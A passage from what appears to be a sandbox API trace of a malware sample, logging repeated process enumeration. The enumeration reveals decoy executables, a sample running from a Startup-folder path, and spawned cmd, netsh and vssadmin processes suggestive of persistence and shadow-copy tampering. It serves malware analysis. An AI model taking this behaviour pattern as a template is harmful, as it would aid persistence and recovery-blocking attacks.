hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.829] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.830] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.831] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.831] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.832] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.832] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.833] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.834] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.834] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0048.835] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0048.836] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0048.836] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0048.837] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0048.838] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0048.839] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0048.839] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0048.840] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0048.841] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0048.842] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0048.846] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0048.847] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0048.848] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0048.848] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0048.849] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0048.850] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0048.850] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0048.851] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0048.852] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0048.852] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0048.853] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0048.854] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0048.856] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.857] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0048.857] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0048.858] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.859] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.859] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.860] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.861] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0048.861] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.862] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.863] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.863] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0048.864] CloseHandle (hObject=0x178) returned 1 [0048.864] Sleep (dwMilliseconds=0x1f4) [0049.632] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x174 [0049.635] Process32FirstW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.635] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.636] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.637] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.637] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.638] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.639] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.639] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.640] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.641] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.641] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.642] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.643] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.643] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.644] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.645] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.645] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.646] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.647] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.647] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.648] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.649] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.649] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.650] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.651] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.651] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0049.652] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0049.653] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0049.653] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0049.654] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0049.655] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0049.655] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0049.656] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0049.656] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0049.657] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0049.658] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0049.658] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0049.659] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0049.660] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, 